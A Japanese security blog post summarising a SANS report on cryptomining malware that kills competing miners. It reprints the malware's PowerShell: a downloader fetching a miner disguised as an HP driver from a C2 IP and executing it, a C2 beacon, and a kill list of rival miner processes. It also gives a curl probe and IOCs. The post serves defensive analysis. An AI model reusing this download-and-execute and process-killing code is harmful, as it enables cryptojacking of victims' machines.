拡張頭蓋 | Extended Cranium

もしかすると誰かの役に立つかもしれないことを書き留めておく

2018-03-04 セキュリティニュースまとめ: 暗号通貨マイニング マルウェア同士のリソース争奪が確認される

一次情報

The Crypto Miners Fight For CPU Cycles - SANS Internet Storm Center

概要

  • 暗号通貨 (=仮想通貨) のマイニング (=採掘) を行うマルウェア (=マイナー) が自身の利益を最大化するためには、感染ホストの CPU リソースを独占することが望ましい
  • このため、感染ホストに他の同種マルウェアが見つかった場合はそのプロセスを停止し、その CPU リソースを奪うように設計されている暗号通貨マイニング マルウェアが見つかった
  • 今後はこのような動きをするマイナーが増えるだろう

マイニング (採掘) を行うマルウェア「マイナー」とは

  • 通貨の取引台帳は、ブロックチェーン技術により膨大な数のホストに分散して記載されている
  • 新たな通貨を獲得するにはこれらの分散した取引台帳の整合性を誰よりも速く計算により検証確認する必要がある
  • 最速で計算した者だけが、既存ブロックチェーンの最後のブロックとして自身のブロックを新たに追記し、通貨を得ることができる仕組み

参考: coinpost.jp

なぜ「マイナー」が流行るのか

  • 新規コインを発掘 (マイニング) するには、誰よりも速く取引台帳の検証・ブロックの追加を行う必要がある
  • そのためには、自身が保有するコンピュータの計算リソースを最大化しなければならない
  • 自身の作成した「マイナー」マルウェアに感染させることで、より多くのホストから計算リソース (CPU リソース) を奪うことができる

なぜほかの「マイナー」のプロセスを停止するのか

  • すでにほかのマイナーに感染している場合、大部分の CPU リソースをそちらに奪われて新規通貨の獲得の障害になる
  • 他のマイナーが存在する場合はそのプロセスを停止することでこうした障害を取り除こうとしている

他のマイナーを停止する PowerShell の内容 (原著者の抜粋内容をまとめて転記したもので、この間にもコードが存在する可能性あり)

HP のドライバを偽装した 32-bit/64-bit のプログラムをダウンロードする部分

$HSST = "http://45[.]123.190.116"
$CALLBACK = $HSST
$DEFAULT_RFILE = "$HSST/files/hpw64"
$OTHERS_RFILE = "$HSST/files/hpw32"
$LFILE_NAME = "HPDriver.exe"
$LFILE_PATH = "$env:TMP\$LFILE_NAME"
$DOWNLOADER = New-Object System.Net.WebClient
$SYSTEM_BIT = [System.IntPtr]::Size
if ( $SYSTEM_BIT -eq 8 ) {
    $DOWNLOADER.DownloadFile($DEFAULT_RFILE, $LFILE_PATH)
} else {
    $DOWNLOADER.DownloadFile($OTHERS_RFILE, $LFILE_PATH)
}

C2 サーバーへの HTTP リクエストを送信する部分

if ( !(Get-Process AMDDriver64 -ErrorAction SilentlyContinue) ) {
    $DOWNLOADER.DownloadString("$CALLBACK/?info=w0")
    cmd.exe /c "$LFILE_PATH -B"
} else {
    $DOWNLOADER.DownloadString("$CALLBACK/?info=w9")
}

他のマイナーのプロセスを停止させる部分

$counters = (Get-Counter '\Process(*)\% Processor Time').CounterSamples
$malwares = [redacted]
$malwares2 = "Silence","Carbon","xmrig32","nscpucnminer64","mrservicehost","servisce","svchosts3","svhosts","system64","systemiissec", \
"taskhost","vrmserver","vshell","winlogan","winlogo","logon","win1nit","wininits","winlnlts","taskngr","tasksvr","mscl","cpuminer","sql31", \
"taskhots", "svchostx","xmr86","xmrig","xmr","win1ogin","win1ogins","ccsvchst","nscpucnminer64","update_windows"
foreach ($counter in $counters) {
  if ($counter.CookedValue -ge 40) {
    if ($counter.InstanceName -eq "idle" -Or $counter.InstanceName -eq "_total") {
      continue
    }
    foreach ($malware in $malwares) {
      if ($counter.InstanceName -eq $malware) {
        Stop-Process -processname $counter.InstanceName -Force
      }
    }
  }
  foreach ($malware2 in $malwares2) {
    if ($counter.InstanceName -eq $malware2) {
      Stop-Process -processname $counter.InstanceName -Force
    }
  }
}

今回見つかった暗号通貨マイニングを行う PowerShell コードの特徴

  • 接続先は 45[.]123.190.116
  • CPU リソースを最大化するため自分自身以外のマイナーが稼働しているかどうかを検出し、停止することでより多くの通貨を獲得しようとする
  • 32 ビット版と64 ビット版が存在し、環境に応じてどちらかをダウンロードする
  • ヒューレット・パッカード (HP) 社のドライバ (hpdriver.exe) に偽装したマイナー
  • すでに VirusTotal 上でサンプル[1][2]が確認されている
  • PE ファイル内にマイニング設定がハードコートされており、一次情報の執筆時点もまだアカウントはアクティブ
  • AMDDriver64 プロセス (AMDDriver64.exe: これもマイニングを行うマルウェア) が存在するかどうかを確認し、存在する場合としない場合とで C2 サーバに対する HTTP リクエストの情報を変更している。 ** 原著者が出した HTTP リクエストのテストではリクエストへの応答で得られた情報なし。info のパラメータとして渡されている w0 と w9 についての詳細は不明:
# torify curl -v -A "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0)" http://45[.]123.190.116/?info=w9
* Trying 45[.]123.190.116...
* TCP_NODELAY set
* Connected to 45[.]123.190.116 (45[.]123.190.116) port 80 (#0)
> GET /?info=w9 HTTP/1.1
> Host: 45[.]123.190.116
> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0)
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Sun, 04 Mar 2018 09:31:25 GMT
< Content-Type: text/html
< Content-Length: 0
< Last-Modified: Thu, 01 Mar 2018 09:15:51 GMT
< Connection: keep-alive
< ETag: "5a97c4c7-0"
< Accept-Ranges: bytes
<
* Connection #0 to host 45[.]123.190.116 left intact
$malwares2 = "Silence","Carbon","xmrig32","nscpucnminer64","mrservicehost","servisce","svchosts3","svhosts","system64","systemiissec", \
"taskhost","vrmserver","vshell","winlogan","winlogo","logon","win1nit","wininits","winlnlts","taskngr","tasksvr","mscl","cpuminer","sql31", \
"taskhots", "svchostx","xmr86","xmrig","xmr","win1ogin","win1ogins","ccsvchst","nscpucnminer64","update_windows"
  • (Windowsシステム上に ) 上記の malware2 リストに含まれるプロセスが存在していれば、これらのマイナーに感染してマイニングさせられている
  • この malware2 リストは感染の痕跡を示すもの (IOC: Indicator of Compromise) として利用できるだろう